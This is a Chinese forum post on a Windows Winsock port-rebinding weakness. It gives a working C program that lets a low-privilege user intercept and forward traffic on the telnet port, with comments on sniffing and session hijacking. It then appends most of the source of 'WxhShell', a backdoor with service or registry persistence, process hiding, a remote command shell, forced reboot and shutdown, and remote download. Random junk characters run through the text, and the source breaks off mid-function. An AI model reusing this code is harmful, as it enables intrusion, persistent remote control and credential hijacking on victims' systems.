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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PP~CZ2Fze  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 15RI(BN   
iFXUKGiV  
  saddr.sin_family = AF_INET; NO%|c|B|  
*(>F'>F1"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YeR7*[l  
vWZ>Hf]`L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GA}hp%  
@D( KuF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )@?Qt2  
j TGS6{E  
  这意味着什么?意味着可以进行如下的攻击: UzP@{?  
>:(6{}b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q>wa#1X)  
>& 4I.nA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0YgFjd 5  
UeIqAG8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S S7D1  
_oYA;O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2\kC_o97  
.je~qo )  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mRix0XBI~  
W_Ws3L1;N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e%5'(V-y,  
F5om-tzy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S:"z<O  
^loF#d= s  
  #include #Q!c42}M  
  #include c+YYM :S  
  #include D:S6Mu  
  #include    JCQx8;V%I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I=3B 5u  
  int main() H_xQ>~b  
  { @8x6#|D  
  WORD wVersionRequested; %s&E-*X  
  DWORD ret; n8y,{|  
  WSADATA wsaData; 519:yt   
  BOOL val; EzeDShN=J  
  SOCKADDR_IN saddr; ~L Bq5a  
  SOCKADDR_IN scaddr; U- UV<}  
  int err; \M1M2(@pDJ  
  SOCKET s; >(1_Dn\  
  SOCKET sc; .,BD DPFB  
  int caddsize; /^es0$Co.  
  HANDLE mt; IJb1) ZuR  
  DWORD tid;   0ga1Yr]  
  wVersionRequested = MAKEWORD( 2, 2 ); 8=zM~v)   
  err = WSAStartup( wVersionRequested, &wsaData ); 3T.M?UG>  
  if ( err != 0 ) { AcfkY m~  
  printf("error!WSAStartup failed!\n"); Jr*S2 z<*  
  return -1; j@_) F^12  
  } JQVw6*u{  
  saddr.sin_family = AF_INET; | 9\7xT  
   ~jCpL@rS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M b /X@51  
Lb3K};SIV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3I{ta/(  
  saddr.sin_port = htons(23); o- e,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~IJZM`gN  
  { %(7wZ0Z  
  printf("error!socket failed!\n"); ?U9d3] W  
  return -1; bQ\-6dOtv  
  } 4\eX=~C>:  
  val = TRUE; [E :`jY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S&)) 0d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >a`zkl  
  { A%czhF  
  printf("error!setsockopt failed!\n"); \eSk7C  
  return -1; pQ-^T.'  
  } 3K20f8g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P@S;>t{TD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V]PhXVJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [#*?uu+ jK  
i11GW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f/WM}Hpj  
  { R&|)y:bg|  
  ret=GetLastError(); MHT,rqG  
  printf("error!bind failed!\n"); |I^Jn@Mq:  
  return -1; a):Run  
  } ,m'#>d&zO  
  listen(s,2); j6 d"8oH _  
  while(1) % oL&~6l$  
  { ]Q_G /e  
  caddsize = sizeof(scaddr); P(i2bbU  
  //接受连接请求 ~Z/`W`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {Ljl4Sp&  
  if(sc!=INVALID_SOCKET) >@89k^#Vc  
  { 8cPf0p:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5!Mp#lO  
  if(mt==NULL) 3 !w>"h0(  
  { ?9okjLp1n  
  printf("Thread Creat Failed!\n"); >,]e[/p  
  break; k@)m-K  
  } a1sLRqo8  
  } e^Wv*OD'  
  CloseHandle(mt); b|@op>UZ  
  } j#>![km Mu  
  closesocket(s); c&?H8G)x  
  WSACleanup(); Py0 i%pZ  
  return 0;  eV=sDx  
  }   K]*ERAfM%m  
  DWORD WINAPI ClientThread(LPVOID lpParam) [)6E) E`_e  
  { PL_wa(}y]D  
  SOCKET ss = (SOCKET)lpParam; `*9FKs  
  SOCKET sc; Gz5@1CF  
  unsigned char buf[4096]; 5*za]   
  SOCKADDR_IN saddr; 4^}PnU7z  
  long num; iKH T  
  DWORD val; Z5a@fWU  
  DWORD ret; 7Bd_/A($  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z4 zMa&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z :jF) N  
  saddr.sin_family = AF_INET; F(fr,m3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ly5L-=Xb  
  saddr.sin_port = htons(23); ]H'82a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7TY"{? ~O5  
  { >mSl~.I2  
  printf("error!socket failed!\n"); %= ;K>D  
  return -1; $K6`Q4`  
  } Z'bMIdV  
  val = 100; YVp0}m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J0bs$  
  { cU[pneY  
  ret = GetLastError(); e1}0f8%  
  return -1; FdHWF|D  
  } {X"]92+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +N&(lj  
  { @CUDD{1o  
  ret = GetLastError(); EPnB%'l\c  
  return -1; d/QM   
  } 640V&<+v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (W/UR9x)|d  
  { ^P`'qfZ  
  printf("error!socket connect failed!\n"); ]>T/Gl1  
  closesocket(sc); y^BM*CI  
  closesocket(ss); <L#r6y~H  
  return -1; S6Pb V}  
  } v]S8!wU  
  while(1) Hf|:A(vCx  
  { eA^|B zU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7Wn]l!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ka [NYW{.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X/749"23  
  num = recv(ss,buf,4096,0); e 3oIoj4o  
  if(num>0) W)O'( D  
  send(sc,buf,num,0); <N&f >7  
  else if(num==0) 4`]1W,t  
  break; j'n= Xh  
  num = recv(sc,buf,4096,0); (E[hl  
  if(num>0) Us.jyg7_c  
  send(ss,buf,num,0); aa]v7d  
  else if(num==0) s yvi/6  
  break; nJC}wh2d#  
  } `r Ql{$9IC  
  closesocket(ss);  JwcP[w2  
  closesocket(sc); 8=uljn/  
  return 0 ; Mq$=zsj  
  } A'2:(m@{T  
%)V3QnBO  
+[+ Jd)Z  
========================================================== `#U6`[[  
<'33!8 G  
下边附上一个代码,,WXhSHELL (FHh,y~v  
dGjvSK<1@  
========================================================== TH VF@@q  
Gx)D~7lz  
#include "stdafx.h" Jsl,r+'H  
0}N^l=jQ  
#include <stdio.h> Mt>DAk  
#include <string.h> [ Ma9  
#include <windows.h> y5}|Y{5  
#include <winsock2.h> +/tD$  
#include <winsvc.h> `R^VK-=C  
#include <urlmon.h> 0:EiCKb)ol  
?hYe4tc-#  
#pragma comment (lib, "Ws2_32.lib") :1Cc~+]w(u  
#pragma comment (lib, "urlmon.lib") wDk[)9#A   
LtBH4 A  
#define MAX_USER   100 // 最大客户端连接数 I(4k{=\ph]  
#define BUF_SOCK   200 // sock buffer T}*'9TB  
#define KEY_BUFF   255 // 输入 buffer I\_R& v  
IcZ'KV  
#define REBOOT     0   // 重启  CgWj9 [  
#define SHUTDOWN   1   // 关机 |%}?*|-  
4w,}1uNEf  
#define DEF_PORT   5000 // 监听端口  Bv3v;^  
JQqDUd  
#define REG_LEN     16   // 注册表键长度 <4Fd ~  
#define SVC_LEN     80   // NT服务名长度 TH-^tw  
$O#h4L_  
// 从dll定义API gE&f}M-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FYJB.lAT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =@'"\ "Nh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cnolka"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?#'qY6 ^  
)Jc>l;G(M  
// wxhshell配置信息 8"@<s?0\"  
struct WSCFG { >cp9{+#f  
  int ws_port;         // 监听端口 ?cJ$=  
  char ws_passstr[REG_LEN]; // 口令 ^iTA4 0K  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~gf $ L9  
  char ws_regname[REG_LEN]; // 注册表键名 C"}x=cK  
  char ws_svcname[REG_LEN]; // 服务名 _F,OS<>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g 0L 4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K;95M^C\O*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wcOAyo5(n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ch&r.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \yqiv"'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _C4^J  
OKP?^%kD  
}; P+/L, u  
Wwz>tE  
// default Wxhshell configuration h\5 7t@A  
struct WSCFG wscfg={DEF_PORT, UaBR;v-.B3  
    "xuhuanlingzhe", Q*wx6Pu8  
    1, {*2A% }S  
    "Wxhshell", ,%C$~+xjM  
    "Wxhshell", ,uw &)A  
            "WxhShell Service",  u32<=Q[  
    "Wrsky Windows CmdShell Service", kxP6#8*:  
    "Please Input Your Password: ", OV[-m;h|  
  1, Ub"\LUu  
  "http://www.wrsky.com/wxhshell.exe", &.}zZ/  
  "Wxhshell.exe" ;#+#W+0  
    }; 'fB`e]_  
]mc,FlhU@  
// 消息定义模块 gp}S 1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U t%ie=c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4ldN0 _T5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {hl_/ aG  
char *msg_ws_ext="\n\rExit."; 1{wy%|H\  
char *msg_ws_end="\n\rQuit."; *cd9[ ~  
char *msg_ws_boot="\n\rReboot..."; 2vwT8/  
char *msg_ws_poff="\n\rShutdown..."; B<)(7GTv7"  
char *msg_ws_down="\n\rSave to "; =}L[/RL  
ua{eri[  
char *msg_ws_err="\n\rErr!"; Pa.!:N-  
char *msg_ws_ok="\n\rOK!"; `S VR_  
^,X+ n5q;m  
char ExeFile[MAX_PATH]; xj}N;FWo  
int nUser = 0; 4b#YpK$7U  
HANDLE handles[MAX_USER]; WgIVhj  
int OsIsNt; K@fxCj*}  
hOq1 "kL  
SERVICE_STATUS       serviceStatus; !b 7H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 464Z0C  
*8Lym,]  
// 函数声明 )y K!EK\  
int Install(void); w"D"9 G  
int Uninstall(void); ^^[,aBu  
int DownloadFile(char *sURL, SOCKET wsh); V +hV&|=  
int Boot(int flag); %jkd}D  
void HideProc(void); 3w-0v"j U  
int GetOsVer(void); c>^_4QQ  
int Wxhshell(SOCKET wsl); .OjJK?  
void TalkWithClient(void *cs); 8xNKVj)@  
int CmdShell(SOCKET sock); l +#`  
int StartFromService(void); 7(oxmv}#Q  
int StartWxhshell(LPSTR lpCmdLine); ZF`ckWT:-N  
!ine|NM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I5e!vCG)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H: U_k68  
)I*V('R6|  
// 数据结构和表定义 :O{:;X)  
SERVICE_TABLE_ENTRY DispatchTable[] = E 1>3[3  
{ ZpwB"%e$  
{wscfg.ws_svcname, NTServiceMain}, 0D\FFfs  
{NULL, NULL} bkY7]'.bz&  
}; V9MA)If>  
:gR`rc!  
// 自我安装 lTDF5.aE  
int Install(void) 3JWHyo  
{ \/. Of]YQ  
  char svExeFile[MAX_PATH]; ZZ)bTLu  
  HKEY key; x.<^L] "  
  strcpy(svExeFile,ExeFile); fZ 17  
u3dhMnUn  
// 如果是win9x系统,修改注册表设为自启动 W9ZT=#>)[  
if(!OsIsNt) { > rB7ms/@E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e(6g|h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mv)M9c,`  
  RegCloseKey(key); PQlG !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A|c  :&i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kS[k*bN0  
  RegCloseKey(key); <~u.:x@ R  
  return 0; hJrxb<9@Y0  
    } Xa Yx avq  
  } HEhdV5B  
} jCtl ]  
else { *;1G+Q#  
rPZ<  
// 如果是NT以上系统,安装为系统服务 3Yp_k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =uYSZR  
if (schSCManager!=0) {(7Dz*0  
{ F C2oP,  
  SC_HANDLE schService = CreateService !3-mPG< ]  
  ( tI{pu}/"#  
  schSCManager, EN+WEMro  
  wscfg.ws_svcname, |rq~.cA  
  wscfg.ws_svcdisp, BT2[@qH|qF  
  SERVICE_ALL_ACCESS, ? Ls]k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _( 0!bUs>  
  SERVICE_AUTO_START, fFqK.^Tn  
  SERVICE_ERROR_NORMAL,  4O[5,  
  svExeFile, *$1*\oCtz  
  NULL, ^8 AV#a  
  NULL, %$:js4  
  NULL, 3r%I *  
  NULL, #:"\6s  
  NULL aEy_H-6f  
  ); TEE$1RxV(  
  if (schService!=0) |/]bpG'z  
  { RIC'JLWQ  
  CloseServiceHandle(schService); +G7A.d`V}  
  CloseServiceHandle(schSCManager); Y=vA ;BE]R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ) ok_"wB  
  strcat(svExeFile,wscfg.ws_svcname); z,P:i$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q^Y>T&Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h}g _;k5R  
  RegCloseKey(key); l9qq;hhGP,  
  return 0; q ^n6"&;*  
    } .Uh-Wi[  
  } [ j1SX-NX  
  CloseServiceHandle(schSCManager); H-1@z$p  
} aS'G&(_  
} z=?ainnKx  
!MTm4Ls  
return 1; {S~2m2up0L  
} &.K8c phj  
f|m.v +7k  
// 自我卸载 ! r.X.C  
int Uninstall(void) 8W[QV  
{ R)nhgp(~  
  HKEY key; P2 !~}{-  
M\enjB7k  
if(!OsIsNt) { z]gxkol\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ",#rI+ el  
  RegDeleteValue(key,wscfg.ws_regname); QbV)+7II=  
  RegCloseKey(key); `w[0q?}"`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '/z.\S  
  RegDeleteValue(key,wscfg.ws_regname); =y0!-y  
  RegCloseKey(key); "h2;65@  
  return 0; |>j=#2  
  } j<8_SD=,  
} h'MX{Wm.  
} [9'5+RXw3  
else { v;JY;Uh|  
wD22@uM#]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ##}a0\x|  
if (schSCManager!=0) UF D_  
{ &{Uaa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l"CHI*  
  if (schService!=0) ,y:q]PR  
  { zw\"!=r^  
  if(DeleteService(schService)!=0) { rya4sxCh  
  CloseServiceHandle(schService); 6;*tw i  
  CloseServiceHandle(schSCManager); Z TjlGU `  
  return 0; )K8JDP  
  } '9$xOrv  
  CloseServiceHandle(schService); gRSM~<  
  } je_77G(F  
  CloseServiceHandle(schSCManager); .zBSjh_=H  
} */O6cF7  
} /bt@HFL|`  
q^(A6W  
return 1; JeWW~y`e?{  
} &b"PjtU.X  
FRs5 Pb1  
// 从指定url下载文件 w2/%e$D!9  
int DownloadFile(char *sURL, SOCKET wsh) zT!JHG  
{ c6BaC@2  
  HRESULT hr; hh:0m\@<  
char seps[]= "/"; 3zs~ Y3M?i  
char *token; J[VQ6fD%  
char *file; ?|N:[.  
char myURL[MAX_PATH]; B<8Z?:3YS  
char myFILE[MAX_PATH]; @@SG0YxZ  
n?kU  
strcpy(myURL,sURL); rh$%*l  
  token=strtok(myURL,seps); <:RU,  
  while(token!=NULL) u'Mq^8  
  { AD*+?%hj  
    file=token; M ;\K+,  
  token=strtok(NULL,seps); f{* G%  
  } oE-i`;\8  
l~F,i n.  
GetCurrentDirectory(MAX_PATH,myFILE); 5x=tOR/h  
strcat(myFILE, "\\"); A4%0  
strcat(myFILE, file); (Q#A Br8  
  send(wsh,myFILE,strlen(myFILE),0); }KS[(Q  
send(wsh,"...",3,0); ;<ed1%Le,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5:^dyF&sm{  
  if(hr==S_OK) K<Iz5+oD  
return 0; Ji%T|KR_  
else "z@q G]#5  
return 1; ew }C*4qH  
G>*s+  
} l#]Z?zW.  
c @2s!bs  
// 系统电源模块 el+euOV  
int Boot(int flag) P(A%z2Ql  
{ x<9|t(  
  HANDLE hToken; .i[Tp6'%,  
  TOKEN_PRIVILEGES tkp; l ^\5Jr03  
LB2 2doW  
  if(OsIsNt) { 5hg>2?e9s?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tao3Xr^?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (_U&EX%  
    tkp.PrivilegeCount = 1; r95$B6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mIl^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3smcCQA%  
if(flag==REBOOT) { NZdQz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YBHmd  
  return 0; ]yCmGt+b  
} 5vg@zH\z  
else { 2JtGS-t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3#0nus|=S  
  return 0; (w"zI!  
} I?l*GO+pz  
  } Hdj0! bUx  
  else { vEn12s(lj  
if(flag==REBOOT) { TZ-n)rC)v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n'%*vdHK m  
  return 0; IxgnZX4N  
} _;X# &S(q-  
else { }Ct_i'Ow  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f,`FbT  
  return 0; CF =#?+x  
} .^P^lQT]>  
} shnfH   
NoZz3*j=  
return 1; _RY<-B   
} 7d'4"c;*;  
w#XE!8`  
// win9x进程隐藏模块 j!m~ :D  
void HideProc(void) jVk|(  
{ od?Q&'A  
*w> /vu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <fs2;  
  if ( hKernel != NULL ) OXA_E/F  
  { _.Uz!2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,7/un8:%c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P]r"E  
    FreeLibrary(hKernel); "LXLUa03  
  } MeP U`M--  
>G/>:wwSP.  
return; 2tn%/gf'm  
} .' D+De&y  
YfF&: "-NU  
// 获取操作系统版本 7fnKe2M M  
int GetOsVer(void) K2:r7f  
{ ] p+t>'s  
  OSVERSIONINFO winfo; +=u*!6S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J,m.LpY  
  GetVersionEx(&winfo); PX2Ejrwj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y%E R51+  
  return 1; EsA^P2?_+  
  else ~3f#cEP>d}  
  return 0; X]  Tb4  
} uvD 6uIW<  
>[ 72]<6  
// 客户端句柄模块 R>pa? tQgK  
int Wxhshell(SOCKET wsl) [ .dNX  
{ >SfC '*1  
  SOCKET wsh; >+,1@R  
  struct sockaddr_in client; V~e1CZ(2X  
  DWORD myID; 8 _`Lx_R  
K=`*cSU>  
  while(nUser<MAX_USER) P]dDTh~e~  
{ "NC( ^\l/  
  int nSize=sizeof(client); =7Tbu'O;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aoF>{Z4&B  
  if(wsh==INVALID_SOCKET) return 1; [k."R@?  
H,3$TNX y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :MJBbrV ,  
if(handles[nUser]==0) #Kn7 xn[  
  closesocket(wsh); <!DOCvd  
else  ] mP-HFl  
  nUser++; 9h*$P:S;1v  
  } V!FzVl=G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &Lq @af#  
QW6k!ms$  
  return 0; GIZNHG   
} ~xvQ?c ?-  
Hyee#fB  
// 关闭 socket (W@ ypK@  
void CloseIt(SOCKET wsh) 39~fP)  
{ @X\nY</E#M  
closesocket(wsh); |C-B=XE;3  
nUser--; -t*C-C'"|  
ExitThread(0); uLL#(bhDr  
} xn}'!S2-b  
rZpc"<U  
// 客户端请求句柄 3_Oq4/  
void TalkWithClient(void *cs) ;iS}<TA  
{ !4oYQB  
=4Ex' %%(U  
  SOCKET wsh=(SOCKET)cs; % qAhE TZ%  
  char pwd[SVC_LEN]; !uHI5k,f  
  char cmd[KEY_BUFF]; -F5U.6~`!  
char chr[1]; ;\#u19  
int i,j; EQ=Enw1[  
_B W$?:)9  
  while (nUser < MAX_USER) { KJ pM?:  
dYr#  
if(wscfg.ws_passstr) { rx^pGVyg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AHZ6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jj$'DZk  
  //ZeroMemory(pwd,KEY_BUFF); |AWu0h\keO  
      i=0; 0U$6TDtmE  
  while(i<SVC_LEN) { ]L_HnmD6  
EB> RY+\  
  // 设置超时 possM'vC  
  fd_set FdRead; XU SfOf(  
  struct timeval TimeOut; eY&UFe  
  FD_ZERO(&FdRead); c~C :"g.y  
  FD_SET(wsh,&FdRead); y>~Ke UC  
  TimeOut.tv_sec=8; twO)b"0  
  TimeOut.tv_usec=0; VUNQ@{ST|1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `I'=d4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {s`1+6_&Vz  
gV`:eNo*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "&2D6  
  pwd=chr[0]; hw1ZTD:Y  
  if(chr[0]==0xd || chr[0]==0xa) { }xdI{E1 q)  
  pwd=0; X2Lhb{ZHE  
  break; @*2FG\c<  
  } N?pD"re)6  
  i++; O-&n5  
    } 47icy-@kg  
;V%lFP3#  
  // 如果是非法用户,关闭 socket ipbVQ7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b1 KiO2 E  
} .upcUS8  
!w/~dy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ok*:;G@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U}qW9X;o  
L50`,,WF  
while(1) { s]2k@3|e  
8a05`ZdP  
  ZeroMemory(cmd,KEY_BUFF); ]X-ZRmB`  
)FHaJ*&d  
      // 自动支持客户端 telnet标准   jf$t  
  j=0; ^SjGNg^ 7D  
  while(j<KEY_BUFF) { ,-{j.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }& 1_gn15  
  cmd[j]=chr[0]; uZQ)A,#n;  
  if(chr[0]==0xa || chr[0]==0xd) { a}Ov @7  
  cmd[j]=0; F1,pAtA  
  break; 5w1=j\oq  
  } ~XZ1,2jA/  
  j++; Hu'c )|~f  
    } Az.Y-O<$\  
2cmqtlW"  
  // 下载文件 [6-l6W  
  if(strstr(cmd,"http://")) { =a {Z7W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -|3U0: 'm  
  if(DownloadFile(cmd,wsh)) OOv"h\,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  !c*^:0  
  else #~#_) \l'F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O}KT>84M  
  } xpS#l"dr  
  else { %WO;WxG8^  
kKjYMYT6  
    switch(cmd[0]) { r7IhmdA  
  7C 4Njei"  
  // 帮助 $[>wJXj3R  
  case '?': { OsK=% aDpj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oF*Y$OEu?c  
    break; 8l}|.Q#--  
  } k5ZwGJ#r  
  // 安装 ,Tr12#D:  
  case 'i': { da-3hM!u+  
    if(Install()) ^< E,aCy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^L'K?o  
    else vw(};)8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zcNV<tx  
    break; i\<l&W  
    } *3k~%RM%?  
  // 卸载 Al` ;SWN  
  case 'r': { #h&?wE>  
    if(Uninstall()) )q=1<V44d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GN>T }  
    else R4v=i)A~Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1/{:}9Z@  
    break; <<`."RY#0  
    } "7aFVf  
  // 显示 wxhshell 所在路径 V~+Unn  
  case 'p': { OIoAqt  
    char svExeFile[MAX_PATH]; &=/.$i-w$  
    strcpy(svExeFile,"\n\r"); X;0EgIqh3  
      strcat(svExeFile,ExeFile); 7v?Ygtv  
        send(wsh,svExeFile,strlen(svExeFile),0); AX&1-U  
    break; T[7DJNdG6  
    } 6iTDk  
  // 重启 &/ zs Ix+  
  case 'b': { O/<jt'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); epwXv|aSZ  
    if(Boot(REBOOT)) j[z\p~^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  <Nw?9P  
    else { w"sRK  
    closesocket(wsh); d5i /:  
    ExitThread(0); Uvuvr_IP  
    } H ,?MG  
    break; vw!i)JO8M  
    } ce;9UBkOg2  
  // 关机 F>}).qx  
  case 'd': { <h;P<4JX  
